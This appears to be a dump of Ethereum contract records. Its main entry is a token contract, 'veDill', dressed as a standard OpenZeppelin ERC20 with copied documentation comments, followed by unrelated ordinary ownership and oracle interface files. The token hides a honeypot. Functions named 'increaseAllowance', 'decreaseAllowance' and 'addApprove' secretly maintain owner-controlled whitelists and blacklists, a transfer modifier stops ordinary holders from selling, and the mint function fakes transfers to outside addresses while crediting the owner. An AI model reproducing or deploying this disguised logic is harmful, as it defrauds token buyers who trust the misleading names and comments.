*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract veDill is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, 0*(10**18));
_mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, 50000*(10**18));
_mint(0x907D9B32654B8D43e8737E0291Ad9bfcce01DAD6, 50000*(10**18));
_mint(0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE, 50000*(10**18));
_mint(0xb4bebD34f6DaaFd808f73De0d10235a92Fbb6c3D, 50000*(10**18));
_mint(0x6cC5F688a315f3dC28A7781717a9A798a59fDA7b, 50000*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"address payable","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"addApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"approvecount","type":"uint256"},{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000f4240000000000000000000000000696a27ea67cec7d3da9d3559cb086db0e814fed3000000000000000000000000000000000000000000000000000000000000000876655069636b6c65000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000444494c4c00000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://34989c8397bf078ec4d03df00f71bae573f0ddef278fee9f03be52992d01ccaf |
||
OracleAdapter | contracts/interfaces/IERC173.sol | 0x5ee66ba3e2f8c870866cc6892b985314e904d2c0 | Solidity | pragma solidity ^0.5.7;
/// @title ERC-173 Contract Ownership Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-173.md
/// Note: the ERC-165 identifier for this interface is 0x7f5828d0
contract IERC173 {
/// @dev This emits when ownership of a contract changes.
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
/// @notice Get the address of the owner
/// @return The address of the owner.
//// function owner() external view returns (address);
/// @notice Set the address of the new owner of the contract
/// @param _newOwner The address of the new owner of the contract
function transferOwnership(address _newOwner) external;
} | [{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_legacyOracle","type":"address"}],"name":"setLegacyOracle","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"url","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maintainer","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"legacyOracle","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_data","type":"bytes"}],"name":"readSample","outputs":[{"name":"_tokens","type":"uint256"},{"name":"_equivalent","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_maintainer","type":"string"}],"name":"setMaintainer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"currency","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"VERSION","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_legacyOracle","type":"address"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_maintainer","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_currency","type":"bytes32"},{"name":"_token","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_previousOwner","type":"address"},{"indexed":true,"name":"_newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 00000000000000000000000033332025ad35a821eec5f1e10459222c8e4c62c300000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000024152530000000000000000000000000000000000000000000000000000000000000000000000000000000000f970b8e36e23f7fc3fd752eea86f8be8d83375a600000000000000000000000000000000000000000000000000000000000000034152530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e417267656e74696e65207065736f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://49e28e77f0a8ae4ecc89a29b603f6f04ae9df95346155cb9141e0e518e788d50 |
|||
OracleAdapter | contracts/commons/Ownable.sol | 0x5ee66ba3e2f8c870866cc6892b985314e904d2c0 | Solidity | pragma solidity ^0.5.7;
contract Ownable is IERC173 {
address internal _owner;
modifier onlyOwner() {
require(msg.sender == _owner, "The owner should be the sender");
_;
}
constructor() public {
_owner = msg.sender;
emit OwnershipTransferred(address(0x0), msg.sender);
}
function owner() external view returns (address) {
return _owner;
}
/**
@dev Transfers the ownership of the contract.
@param _newOwner Address of the new owner
*/
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "0x0 Is not a valid owner");
emit OwnershipTransferred(_owner, _newOwner);
_owner = _newOwner;
}
} | [{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_legacyOracle","type":"address"}],"name":"setLegacyOracle","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"url","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maintainer","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"legacyOracle","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_data","type":"bytes"}],"name":"readSample","outputs":[{"name":"_tokens","type":"uint256"},{"name":"_equivalent","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_maintainer","type":"string"}],"name":"setMaintainer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"currency","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"i